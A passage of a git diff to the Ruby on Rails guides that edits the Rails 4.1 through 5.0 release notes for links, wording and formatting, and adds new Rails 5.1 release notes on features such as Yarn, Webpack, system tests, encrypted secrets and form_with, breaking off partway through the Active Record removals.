-[documentation](http://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html)
+[documentation](https://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html)
 for a detailed write up and the intended use cases.
 
 ### CSRF protection from remote `<script>` tags
@@ -274,7 +274,7 @@ for detailed changes.
 * The [Spring application
   preloader](https://github.com/rails/spring) is now installed
   by default for new applications. It uses the development group of
-  the Gemfile, so will not be installed in
+  the `Gemfile`, so will not be installed in
   production. ([Pull Request](https://github.com/rails/rails/pull/12958))
 
 * `BACKTRACE` environment variable to show unfiltered backtraces for test
@@ -338,7 +338,7 @@ for detailed changes.
   array. ([Pull Request](https://github.com/rails/rails/pull/9599))
 
 * Added `session#fetch` method fetch behaves similarly to
-  [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch),
+  [Hash#fetch](https://docs.ruby-lang.org/en/master/Hash.html#method-i-fetch),
   with the exception that the returned value is always saved into the
   session. ([Pull Request](https://github.com/rails/rails/pull/12692))
 
@@ -496,7 +496,7 @@ for detailed changes.
   map to integers in the database, but can be queried by
   name. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5))
 
-* Type cast json values on write, so that the value is consistent with reading
+* Type cast JSON values on write, so that the value is consistent with reading
   from the database. ([Pull Request](https://github.com/rails/rails/pull/12643))
 
 * Type cast hstore values on write, so that the value is consistent
@@ -507,7 +507,7 @@ for detailed changes.
 
 * Calling `update_attributes` will now throw an `ArgumentError` whenever it
   gets a `nil` argument. More specifically, it will throw an error if the
-  argument that it gets passed does not respond to to
+  argument that it gets passed does not respond to
   `stringify_keys`. ([Pull Request](https://github.com/rails/rails/pull/9860))
 
 * `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed
@@ -719,7 +719,7 @@ for detailed changes.
   responsibilities within a
   class. ([Commit](https://github.com/rails/rails/commit/1eee0ca6de975b42524105a59e0521d18b38ab81))
 
-* Added `Object#presence_in` to simplify value whitelisting.
+* Added `Object#presence_in` to simplify adding values to a permitted list.
   ([Commit](https://github.com/rails/rails/commit/4edca106daacc5a159289eae255207d160f22396))
 
 
@@ -727,6 +727,6 @@ Credits
 -------
 
 See the
-[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+[full list of contributors to Rails](https://contributors.rubyonrails.org/) for
 the many people who spent many hours making Rails, the stable and robust
 framework it is. Kudos to all of them.
diff --git a/guides/source/4_2_release_notes.md b/guides/source/4_2_release_notes.md
index a30bfc458ae28..3926a9481e157 100644
--- a/guides/source/4_2_release_notes.md
+++ b/guides/source/4_2_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Ruby on Rails 4.2 Release Notes
 ===============================
@@ -44,7 +44,7 @@ to their respective adapters. Active Job comes pre-configured with an inline
 runner that executes jobs right away.
 
 Jobs often need to take Active Record objects as arguments. Active Job passes
-object references as URIs (uniform resource identifiers) instead of marshaling
+object references as URIs (uniform resource identifiers) instead of marshalling
 the object itself. The new [Global ID](https://github.com/rails/globalid)
 library builds URIs and looks up the objects they reference. Passing Active
 Record objects as job arguments just works by using Global ID internally.
@@ -109,17 +109,17 @@ Caching is not used in the following scenarios:
 - The model uses single table inheritance
 - `find` with a list of ids, e.g.:
 
-  ```ruby
-  # not cached
-  Post.find(1, 2, 3)
-  Post.find([1,2])
-  ```
+    ```ruby
+    # not cached
+    Post.find(1, 2, 3)
+    Post.find([1,2])
+    ```
 
 - `find_by` with SQL fragments:
 
-  ```ruby
-  Post.find_by('published_at < ?', 2.weeks.ago)
-  ```
+    ```ruby
+    Post.find_by('published_at < ?', 2.weeks.ago)
+    ```
 
 ### Web Console
 
@@ -154,9 +154,9 @@ remove_foreign_key :accounts, column: :owner_id
 ```
 
 See the API documentation on
-[add_foreign_key](http://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key)
+[add_foreign_key](https://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key)
 and
-[remove_foreign_key](http://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key)
+[remove_foreign_key](https://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key)
 for a full description.
 
 
@@ -179,7 +179,7 @@ change your code to use the explicit form (`render file: "foo/bar"`) instead.
 
 `respond_with` and the corresponding class-level `respond_to` have been moved
 to the [responders](https://github.com/plataformatec/responders) gem. Add
-`gem 'responders', '~> 2.0'` to your Gemfile to use it:
+`gem "responders", "~> 2.0"` to your `Gemfile` to use it:
 
 ```ruby
 # app/controllers/users_controller.rb
@@ -256,7 +256,7 @@ deprecation warnings because it is opt-in.
 `rails-deprecated_sanitizer` will be supported for Rails 4.2 only; it will not
 be maintained for Rails 5.0.
 
-See [this blog post](http://blog.plataformatec.com.br/2014/07/the-new-html-sanitizer-in-rails-4-2/)
+See [this blog post](https://blog.plataformatec.com.br/2014/07/the-new-html-sanitizer-in-rails-4-2/)
 for more details on the changes in the new sanitizer.
 
 ### `assert_select`
@@ -368,7 +368,7 @@ Please refer to the [Changelog][railties] for detailed changes.
 
 ### Notable changes
 
-*   Introduced `web-console` in the default application Gemfile.
+*   Introduced `web-console` in the default application `Gemfile`.
     ([Pull Request](https://github.com/rails/rails/pull/11667))
 
 *   Added a `required` option to the model generator for associations.
@@ -396,15 +396,17 @@ Please refer to the [Changelog][railties] for detailed changes.
 *   Introduced `Rails::Application.config_for` to load a configuration for the
     current environment.
 
-    ```ruby
-    # config/exception_notification.yml:
+    ```yaml
+    # config/exception_notification.yml
     production:
       url: http://127.0.0.1:8080
       namespace: my_app_production
     development:
       url: http://localhost:3001
       namespace: my_app_development
+    ```
 
+    ```ruby
     # config/environments/production.rb
     Rails.application.configure do
       config.middleware.use ExceptionNotifier, config_for(:exception_notification)
@@ -443,10 +445,10 @@ Please refer to the [Changelog][action-pack] for detailed changes.
 ### Removals
 
 *   `respond_with` and the class-level `respond_to` have been removed from Rails and
-    moved to the `responders` gem (version 2.0). Add `gem 'responders', '~> 2.0'`
+    moved to the `responders` gem (version 2.0). Add `gem "responders", "~> 2.0"`
     to your `Gemfile` to continue using these features.
     ([Pull Request](https://github.com/rails/rails/pull/16526),
-     [More Details](http://guides.rubyonrails.org/upgrading_ruby_on_rails.html#responders))
+     [More Details](https://guides.rubyonrails.org/v4.2/upgrading_ruby_on_rails.html#responders))
 
 *   Removed deprecated `AbstractController::Helpers::ClassMethods::MissingHelperError`
     in favor of `AbstractController::Helpers::MissingHelperError`.
@@ -545,7 +547,7 @@ Please refer to the [Changelog][action-pack] for detailed changes.
     served if the client supports it and a pre-generated gzip file (`.gz`) is on disk.
     By default the asset pipeline generates `.gz` files for all compressible assets.
     Serving gzip files minimizes data transfer and speeds up asset requests. Always
-    [use a CDN](http://guides.rubyonrails.org/asset_pipeline.html#cdns) if you are
+    [use a CDN](https://guides.rubyonrails.org/v4.2/asset_pipeline.html#cdns) if you are
     serving assets from your Rails server in production.
     ([Pull Request](https://github.com/rails/rails/pull/16466))
 
@@ -871,13 +873,13 @@ Please refer to the [Changelog][active-support] for detailed changes.
     `module Foo; extend ActiveSupport::Concern; end` boilerplate.
     ([Commit](https://github.com/rails/rails/commit/b16c36e688970df2f96f793a759365b248b582ad))
 
-*   New [guide](autoloading_and_reloading_constants.html) about constant autoloading and reloading.
+*   New [guide](autoloading_and_reloading_constants_classic_mode.html) about constant autoloading and reloading.
 
 Credits
 -------
 
 See the
-[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+[full list of contributors to Rails](https://contributors.rubyonrails.org/) for
 the many people who spent many hours making Rails the stable and robust
 framework it is today. Kudos to all of them.
 
diff --git a/guides/source/5_0_release_notes.md b/guides/source/5_0_release_notes.md
index e1b3b0a42e3e2..6f1048d08a0b4 100644
--- a/guides/source/5_0_release_notes.md
+++ b/guides/source/5_0_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Ruby on Rails 5.0 Release Notes
 ===============================
@@ -15,7 +15,7 @@ Highlights in Rails 5.0:
 * Ruby 2.2.2+ required
 
 These release notes cover only the major changes. To learn about various bug
-fixes and changes, please refer to the change logs or check out the [list of
+fixes and changes, please refer to the changelogs or check out the [list of
 commits](https://github.com/rails/rails/commits/5-0-stable) in the main Rails
 repository on GitHub.
 
@@ -55,8 +55,8 @@ information.
 ### API Applications
 
 Rails can now be used to create slimmed down API only applications.
-This is useful for creating and serving APIs similar to [Twitter](https://dev.twitter.com) or [GitHub](http://developer.github.com) API, 
-that can be used to serve public facing, as well as, for custom applications.
+This is useful for creating and serving APIs similar to [X](https://developer.x.com) or [GitHub](https://developer.github.com) API,
+that can be used to serve public-facing, as well as, for custom applications.
 
 You can generate a new api Rails app using:
 
@@ -73,12 +73,12 @@ This will do three main things:
   `ActionController::Base`. As with middleware, this will leave out any Action
   Controller modules that provide functionalities primarily used by browser
   applications.
-- Configure the generators to skip generating views, helpers and assets when
-  you generate a new resource. 
+- Configure the generators to skip generating views, helpers, and assets when
+  you generate a new resource.
+
+The application provides a base for APIs,
+that can then be [configured to pull in functionality](api_app.html) as suitable for the application's needs.
 
-The application provides a base for APIs, 
-that can then be [configured to pull in functionality](api_app.html) as suitable for the application's needs.  
- 
 See the [Using Rails for API-only Applications](api_app.html) guide for more
 information.
 
@@ -86,7 +86,7 @@ information.
 
 Defines an attribute with a type on a model. It will override the type of existing attributes if needed.
 This allows control over how values are converted to and from SQL when assigned to a model.
-It also changes the behavior of values passed to `ActiveRecord::Base.where`, which lets use our domain objects across much of Active Record,
+It also changes the behavior of values passed to `ActiveRecord::Base.where`, which let's use our domain objects across much of Active Record,
 without having to rely on implementation details or monkey patching.
 
 Some things that you can achieve with this:
@@ -96,17 +96,20 @@ Some things that you can achieve with this:
 - Attributes do not need to be backed by a database column.
 
 ```ruby
-
 # db/schema.rb
 create_table :store_listings, force: true do |t|
   t.decimal :price_in_cents
   t.string :my_string, default: "original default"
 end
+```
 
+```ruby
 # app/models/store_listing.rb
 class StoreListing < ActiveRecord::Base
 end
+```
 
+```ruby
 store_listing = StoreListing.new(price_in_cents: '10.1')
 
 # before
@@ -146,11 +149,11 @@ This gives the objects ability to specify, how to convert values when performing
 
 **Dirty Tracking:**
 
-The type of an attribute is given the opportunity to change how dirty
+The type of an attribute is allowed to change how dirty
 tracking is performed.
 
 See its
-[documentation](http://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html)
+[documentation](https://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html)
 for a detailed write up.
 
 
@@ -159,7 +162,7 @@ for a detailed write up.
 A new test runner has been introduced to enhance the capabilities of running tests from Rails.
 To use this test runner simply type `bin/rails test`.
 
-Test Runner is inspired from `RSpec`, `minitest-reporters`, `maxitest` and others.
+Test Runner is inspired by `RSpec`, `minitest-reporters`, `maxitest` and others.
 It includes some of these notable advancements:
 
 - Run a single test using line number of test.
@@ -169,7 +172,7 @@ It includes some of these notable advancements:
 instead of waiting for the suite to complete.
 - Defer test output until the end of a full test run using the `-d` option.
 - Complete exception backtrace output using `-b` option.
-- Integration with `Minitest` to allow options like `-s` for test seed data,
+- Integration with minitest to allow options like `-s` for test seed data,
 `-n` for running specific test by name, `-v` for better verbose output and so forth.
 - Colored test output.
 
@@ -242,7 +245,7 @@ Please refer to the [Changelog][railties] for detailed changes.
      [Pull Request](https://github.com/rails/rails/pull/22288))
 
 *   New applications are generated with the evented file system monitor enabled
-    on Linux and Mac OS X. The feature can be opted out by passing
+    on Linux and macOS. The feature can be opted out by passing
     `--skip-listen` to the generator.
     ([commit](https://github.com/rails/rails/commit/de6ad5665d2679944a9ee9407826ba88395a1003),
     [commit](https://github.com/rails/rails/commit/94dbc48887bf39c241ee2ce1741ee680d773f202))
@@ -251,7 +254,7 @@ Please refer to the [Changelog][railties] for detailed changes.
     using the environment variable `RAILS_LOG_TO_STDOUT`.
     ([Pull Request](https://github.com/rails/rails/pull/23734))
 
-*   Enable HSTS with IncludeSudomains header for new applications.
+*   Enable HSTS with IncludeSubdomains header for new applications.
     ([Pull Request](https://github.com/rails/rails/pull/23852))
 
 *   The application generator writes a new file `config/spring.rb`, which tells
@@ -346,8 +349,8 @@ Please refer to the [Changelog][action-pack] for detailed changes.
     names instead.
     ([commit](https://github.com/rails/rails/commit/83b767ce))
 
-*   Deprecated accessing mime types via constants (eg. `Mime::HTML`). Use the
-    subscript operator with a symbol instead (eg. `Mime[:html]`).
+*   Deprecated accessing MIME types via constants (e.g. `Mime::HTML`). Use the
+    subscript operator with a symbol instead (e.g. `Mime[:html]`).
     ([Pull Request](https://github.com/rails/rails/pull/21869))
 
 *   Deprecated `redirect_to :back` in favor of `redirect_back`, which accepts a
@@ -394,7 +397,7 @@ Please refer to the [Changelog][action-pack] for detailed changes.
 *   Added the ability to override default form builder for a controller.
     ([Pull Request](https://github.com/rails/rails/pull/19736))
 
-*   Added support for API only apps.
+*   Added support for API-only apps.
     `ActionController::API` is added as a replacement of
     `ActionController::Base` for this kind of applications.
     ([Pull Request](https://github.com/rails/rails/pull/19832))
@@ -775,10 +778,10 @@ Please refer to the [Changelog][active-record] for detailed changes.
 
 *   Added prepared statements support to `mysql2` adapter, for mysql2 0.4.4+,
     Previously this was only supported on the deprecated `mysql` legacy adapter.
-    To enable, set `prepared_statements: true` in config/database.yml.
+    To enable, set `prepared_statements: true` in `config/database.yml`.
     ([Pull Request](https://github.com/rails/rails/pull/23461))
 
-*   Added ability to call `ActionRecord::Relation#update` on relation objects
+*   Added ability to call `ActiveRecord::Relation#update` on relation objects
     which will run validations on callbacks on all objects in the relation.
     ([Pull Request](https://github.com/rails/rails/pull/11898))
 
@@ -997,7 +1000,7 @@ Please refer to the [Changelog][active-support] for detailed changes.
 
 *   New config option
     `config.active_support.halt_callback_chains_on_return_false` to specify
-    whether ActiveRecord, ActiveModel and ActiveModel::Validations callback
+    whether ActiveRecord, ActiveModel, and ActiveModel::Validations callback
     chains can be halted by returning `false` in a 'before' callback.
     ([Pull Request](https://github.com/rails/rails/pull/17227))
 
@@ -1081,7 +1084,7 @@ Credits
 -------
 
 See the
-[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+[full list of contributors to Rails](https://contributors.rubyonrails.org/) for
 the many people who spent many hours making Rails, the stable and robust
 framework it is. Kudos to all of them.
 
diff --git a/guides/source/5_1_release_notes.md b/guides/source/5_1_release_notes.md
new file mode 100644
index 0000000000000..8d374b37bc1bb
--- /dev/null
+++ b/guides/source/5_1_release_notes.md
@@ -0,0 +1,660 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Ruby on Rails 5.1 Release Notes
+===============================
+
+Highlights in Rails 5.1:
+
+* Yarn Support
+* Optional Webpack support
+* jQuery no longer a default dependency
+* System tests
+* Encrypted secrets
+* Parameterized mailers
+* Direct & resolved routes
+* Unification of form_for and form_tag into form_with
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the changelogs or check out the [list of
+commits](https://github.com/rails/rails/commits/5-1-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 5.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 5.0 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 5.1. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-5-0-to-rails-5-1)
+guide.
+
+
+Major Features
+--------------
+
+### Yarn Support
+
+[Pull Request](https://github.com/rails/rails/pull/26836)
+
+Rails 5.1 allows managing JavaScript dependencies
+from npm via Yarn. This will make it easy to use libraries like React, VueJS
+or any other library from npm world. The Yarn support is integrated with
+the asset pipeline so that all dependencies will work seamlessly with the
+Rails 5.1 app.
+
+### Optional Webpack support
+
+[Pull Request](https://github.com/rails/rails/pull/27288)
+
+Rails apps can integrate with [Webpack](https://webpack.js.org/), a JavaScript
+asset bundler, more easily using the new [Webpacker](https://github.com/rails/webpacker)
+gem. Use the `--webpack` flag when generating new applications to enable Webpack
+integration.
+
+This is fully compatible with the asset pipeline, which you can continue to use for
+images, fonts, sounds, and other assets. You can even have some JavaScript code
+managed by the asset pipeline, and other code processed via Webpack. All of this is managed
+by Yarn, which is enabled by default.
+
+### jQuery no longer a default dependency
+
+[Pull Request](https://github.com/rails/rails/pull/27113)
+
+jQuery was required by default in earlier versions of Rails to provide features
+like `data-remote`, `data-confirm` and other parts of Rails' Unobtrusive JavaScript
+offerings. It is no longer required, as the UJS has been rewritten to use plain,
+vanilla JavaScript. This code now ships inside of Action View as
+`rails-ujs`.
+
+You can still use jQuery if needed, but it is no longer required by default.
+
+### System tests
+
+[Pull Request](https://github.com/rails/rails/pull/26703)
+
+Rails 5.1 has baked-in support for writing Capybara tests, in the form of
+System tests. You no longer need to worry about configuring Capybara and
+database cleaning strategies for such tests. Rails 5.1 provides a wrapper
+for running tests in Chrome with additional features such as failure
+screenshots.
+
+### Encrypted secrets
+
+[Pull Request](https://github.com/rails/rails/pull/28038)
+
+Rails now allows management of application secrets in a secure way,
+inspired by the [sekrets](https://github.com/ahoward/sekrets) gem.
+
+Run `bin/rails secrets:setup` to set up a new encrypted secrets file. This will
+also generate a master key, which must be stored outside of the repository. The
+secrets themselves can then be safely checked into the revision control system,
+in an encrypted form.
+
+Secrets will be decrypted in production, using a key stored either in the
+`RAILS_MASTER_KEY` environment variable, or in a key file.
+
+### Parameterized mailers
+
+[Pull Request](https://github.com/rails/rails/pull/27825)
+
+Allows specifying common parameters used for all methods in a mailer class in
+order to share instance variables, headers, and other common setup.
+
+```ruby
+class InvitationsMailer < ApplicationMailer
+  before_action { @inviter, @invitee = params[:inviter], params[:invitee] }
+  before_action { @account = params[:inviter].account }
+
+  def account_invitation
+    mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
+  end
+end
+```
+
+```ruby
+InvitationsMailer.with(inviter: person_a, invitee: person_b)
+                 .account_invitation.deliver_later
+```
+
+### Direct & resolved routes
+
+[Pull Request](https://github.com/rails/rails/pull/23138)
+
+Rails 5.1 adds two new methods, `resolve` and `direct`, to the routing
+DSL. The `resolve` method allows customizing polymorphic mapping of models.
+
+```ruby
+resource :basket
+
+resolve("Basket") { [:basket] }
+```
+
+```erb
+<%= form_for @basket do |form| %>
+  <!-- basket form -->
+<% end %>
+```
+
+This will generate the singular URL `/basket` instead of the usual `/baskets/:id`.
+
+The `direct` method allows creation of custom URL helpers.
+
+```ruby
+direct(:homepage) { "https://rubyonrails.org" }
+
+homepage_url # => "https://rubyonrails.org"
+```
+
+The return value of the block must be a valid argument for the `url_for`
+method. So, you can pass a valid string URL, Hash, Array, an
+Active Model instance, or an Active Model class.
+
+```ruby
+direct :commentable do |model|
+  [ model, anchor: model.dom_id ]
+end
+
+direct :main do
+  { controller: 'pages', action: 'index', subdomain: 'www' }
+end
+```
+
+### Unification of form_for and form_tag into form_with
+
+[Pull Request](https://github.com/rails/rails/pull/26976)
+
+Before Rails 5.1, there were two interfaces for handling HTML forms:
+`form_for` for model instances and `form_tag` for custom URLs.
+
+Rails 5.1 combines both of these interfaces with `form_with`, and
+can generate form tags based on URLs, scopes, or models.
+
+Using just a URL:
+
+```erb
+<%= form_with url: posts_path do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+
+<%# Will generate %>
+
+<form action="/posts" method="post" data-remote="true">
+  <input type="text" name="title">
+</form>
+```
+
+Adding a scope prefixes the input field names:
+
+```erb
+<%= form_with scope: :post, url: posts_path do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+
+<%# Will generate %>
+
+<form action="/posts" method="post" data-remote="true">
+  <input type="text" name="post[title]">
+</form>
+```
+
+Using a model infers both the URL and scope:
+
+```erb
+<%= form_with model: Post.new do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+
+<%# Will generate %>
+
+<form action="/posts" method="post" data-remote="true">
+  <input type="text" name="post[title]">
+</form>
+```
+
+An existing model makes an update form and fills out field values:
+
+```erb
+<%= form_with model: Post.first do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+
+<%# Will generate %>
+
+<form action="/posts/1" method="post" data-remote="true">
+  <input type="hidden" name="_method" value="patch">
+  <input type="text" name="post[title]" value="<the title of the post>">
+</form>
+```
+
+Incompatibilities
+-----------------
+
+The following changes may require immediate action upon upgrade.
+
+### Transactional tests with multiple connections
+
+Transactional tests now wrap all Active Record connections in database
+transactions.
+
+When a test spawns additional threads, and those threads obtain database
+connections, those connections are now handled specially:
+
+The threads will share a single connection, which is inside the managed
+transaction. This ensures all threads see the database in the same
+state, ignoring the outermost transaction. Previously, such additional
+connections were unable to see the fixture rows, for example.
+
+When a thread enters a nested transaction, it will temporarily obtain
+exclusive use of the connection, to maintain isolation.
+
+If your tests currently rely on obtaining a separate,
+outside-of-transaction, connection in a spawned thread, you'll need to
+switch to more explicit connection management.
+
+If your tests spawn threads and those threads interact while also using
+explicit database transactions, this change may introduce a deadlock.
+
+The easy way to opt-out of this new behavior is to disable transactional
+tests on any test cases it affects.
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `config.static_cache_control`.
+    ([commit](https://github.com/rails/rails/commit/c861decd44198f8d7d774ee6a74194d1ac1a5a13))
+
+*   Remove deprecated `config.serve_static_files`.
+    ([commit](https://github.com/rails/rails/commit/0129ca2eeb6d5b2ea8c6e6be38eeb770fe45f1fa))
+
+*   Remove deprecated file `rails/rack/debugger`.
+    ([commit](https://github.com/rails/rails/commit/7563bf7b46e6f04e160d664e284a33052f9804b8))
+
+*   Remove deprecated tasks: `rails:update`, `rails:template`, `rails:template:copy`,
+    `rails:update:configs` and `rails:update:bin`.
+    ([commit](https://github.com/rails/rails/commit/f7782812f7e727178e4a743aa2874c078b722eef))
+
+*   Remove deprecated `CONTROLLER` environment variable for `routes` task.
+    ([commit](https://github.com/rails/rails/commit/f9ed83321ac1d1902578a0aacdfe55d3db754219))
+
+*   Remove -j (--javascript) option from `rails new` command.
+    ([Pull Request](https://github.com/rails/rails/pull/28546))
+
+### Notable changes
+
+*   Added a shared section to `config/secrets.yml` that will be loaded for all
+    environments.
+    ([commit](https://github.com/rails/rails/commit/e530534265d2c32b5c5f772e81cb9002dcf5e9cf))
+
+*   The config file `config/secrets.yml` is now loaded in with all keys as symbols.
+    ([Pull Request](https://github.com/rails/rails/pull/26929))
+
+*   Removed jquery-rails from default stack. rails-ujs, which is shipped
+    with Action View, is included as default UJS adapter.
+    ([Pull Request](https://github.com/rails/rails/pull/27113))
+
+*   Add Yarn support in new apps with a yarn binstub and package.json.
+    ([Pull Request](https://github.com/rails/rails/pull/26836))
+
+*   Add Webpack support in new apps via the `--webpack` option, which will delegate
+    to the rails/webpacker gem.
+    ([Pull Request](https://github.com/rails/rails/pull/27288))
+
+*   Initialize Git repo when generating new app, if option `--skip-git` is not
+    provided.
+    ([Pull Request](https://github.com/rails/rails/pull/27632))
+
+*   Add encrypted secrets in `config/secrets.yml.enc`.
+    ([Pull Request](https://github.com/rails/rails/pull/28038))
+
+*   Display railtie class name in `rails initializers`.
+    ([Pull Request](https://github.com/rails/rails/pull/25257))
+
+Action Cable
+-----------
+
+Please refer to the [Changelog][action-cable] for detailed changes.
+
+### Notable changes
+
+*   Added support for `channel_prefix` to Redis and evented Redis adapters
+    in `cable.yml` to avoid name collisions when using the same Redis server
+    with multiple applications.
+    ([Pull Request](https://github.com/rails/rails/pull/27425))
+
+*   Add `ActiveSupport::Notifications` hook for broadcasting data.
+    ([Pull Request](https://github.com/rails/rails/pull/24988))
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+*   Removed support for non-keyword arguments in `#process`, `#get`, `#post`,
+    `#patch`, `#put`, `#delete`, and `#head` for the `ActionDispatch::IntegrationTest`
+    and `ActionController::TestCase` classes.
+    ([Commit](https://github.com/rails/rails/commit/98b8309569a326910a723f521911e54994b112fb),
+    [Commit](https://github.com/rails/rails/commit/de9542acd56f60d281465a59eac11e15ca8b3323))
+
+*   Removed deprecated `ActionDispatch::Callbacks.to_prepare` and
+    `ActionDispatch::Callbacks.to_cleanup`.
+    ([Commit](https://github.com/rails/rails/commit/3f2b7d60a52ffb2ad2d4fcf889c06b631db1946b))
+
+*   Removed deprecated methods related to controller filters.
+    ([Commit](https://github.com/rails/rails/commit/d7be30e8babf5e37a891522869e7b0191b79b757))
+
+*   Removed deprecated support to `:text` and `:nothing` in `render`.
+    ([Commit](https://github.com/rails/rails/commit/79a5ea9eadb4d43b62afacedc0706cbe88c54496),
+    [Commit](https://github.com/rails/rails/commit/57e1c99a280bdc1b324936a690350320a1cd8111))
+
+*   Removed deprecated support for calling `HashWithIndifferentAccess` methods on `ActionController::Parameters`.
+    ([Commit](https://github.com/rails/rails/pull/26746/commits/7093ceb480ad6a0a91b511832dad4c6a86981b93))
+
+### Deprecations
+
+*   Deprecated `config.action_controller.raise_on_unfiltered_parameters`.
+    It doesn't have any effect in Rails 5.1.
+    ([Commit](https://github.com/rails/rails/commit/c6640fb62b10db26004a998d2ece98baede509e5))
+
+### Notable changes
+
+*   Added the `direct` and `resolve` methods to the routing DSL.
+    ([Pull Request](https://github.com/rails/rails/pull/23138))
+
+*   Added a new `ActionDispatch::SystemTestCase` class to write system tests in
+    your applications.
+    ([Pull Request](https://github.com/rails/rails/pull/26703))
+
+Action View
+-------------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+*   Removed deprecated `#original_exception` in `ActionView::Template::Error`.
+    ([commit](https://github.com/rails/rails/commit/b9ba263e5aaa151808df058f5babfed016a1879f))
+
+*   Remove the option `encode_special_chars` misnomer from `strip_tags`.
+    ([Pull Request](https://github.com/rails/rails/pull/28061))
+
+### Deprecations
+
+*   Deprecated Erubis ERB handler in favor of Erubi.
+    ([Pull Request](https://github.com/rails/rails/pull/27757))
+
+### Notable changes
+
+*   Raw template handler (the default template handler in Rails 5) now outputs
+    HTML-safe strings.
+    ([commit](https://github.com/rails/rails/commit/1de0df86695f8fa2eeae6b8b46f9b53decfa6ec8))
+
+*   Change `datetime_field` and `datetime_field_tag` to generate `datetime-local`
+    fields.
+    ([Pull Request](https://github.com/rails/rails/pull/25469))
+
+*   New Builder-style syntax for HTML tags (`tag.div`, `tag.br`, etc.)
+    ([Pull Request](https://github.com/rails/rails/pull/25543))
+
+*   Add `form_with` to unify `form_tag` and `form_for` usage.
+    ([Pull Request](https://github.com/rails/rails/pull/26976))
+
+*   Add `check_parameters` option to `current_page?`.
+    ([Pull Request](https://github.com/rails/rails/pull/27549))
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Notable changes
+
+*   Allowed setting custom content type when attachments are included
+    and body is set inline.
+    ([Pull Request](https://github.com/rails/rails/pull/27227))
+
+*   Allowed passing lambdas as values to the `default` method.
+    ([Commit](https://github.com/rails/rails/commit/1cec84ad2ddd843484ed40b1eb7492063ce71baf))
+
+*   Added support for parameterized invocation of mailers to share before filters and defaults
+    between different mailer actions.
+    ([Commit](https://github.com/rails/rails/commit/1cec84ad2ddd843484ed40b1eb7492063ce71baf))
+
+*   Passed the incoming arguments to the mailer action to `process.action_mailer` event under
+    an `args` key.
+    ([Pull Request](https://github.com/rails/rails/pull/27900))
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+*   Removed support for passing arguments and block at the same time to
+    `ActiveRecord::QueryMethods#select`.
+    ([Commit](https://github.com/rails/rails/commit/4fc3366d9d99a0eb19e45ad2bf38534efbf8c8ce))
+
+*   Removed deprecated `activerecord.errors.messages.restrict_dependent_destroy.one` and
+    `activerecord.errors.messages.restrict_dependent_destroy.many` i18n scopes.
+    ([Commit](https://github.com/rails/rails/commit/00e3973a311))
+
+*   Removed deprecated force-reload argument in singular and collection association readers.
+    ([Commit](https://github.com/rails/rails/commit/09cac8c67af))
+
+*   Removed deprecated support for passing a column to `#quote`.
+    ([Commit](https://github.com/rails/rails/commit/e646bad5b7c))
+
+*   Removed deprecated `name` arguments from `#tables`.
+    ([Commit](https://github.com/rails/rails/commit/d5be101dd02214468a27b6839ffe338cfe8ef5f3))
+
+*   Removed deprecated behavior of `#tables` and `#table_exists?` to return tables and views
+    to return only tables and not views.
+    ([Commit](https://github.com/rails/rails/commit/5973a984c369a63720c2ac18b71012b8347479a8))
+
+*   Removed deprecated `original_exception` argument in `ActiveRecord::StatementInvalid#initialize`
+    and `ActiveRecord::StatementInvalid#original_exception`.
+    ([Commit](https://github.com/rails/rails/commit/bc6c5df4699d3f6b4a61dd12328f9e0f1bd6cf46))
+
+*   Removed deprecated support of passing a class as a value in a query.
+    ([Commit](https://github.com/rails/rails/commit/b4664864c972463c7437ad983832d2582186e886))
+
+*   Removed deprecated support to query using commas on LIMIT.
+    ([Commit](https://github.com/rails/rails/commit/fc3e67964753fb5166ccbd2030d7382e1976f393))
+
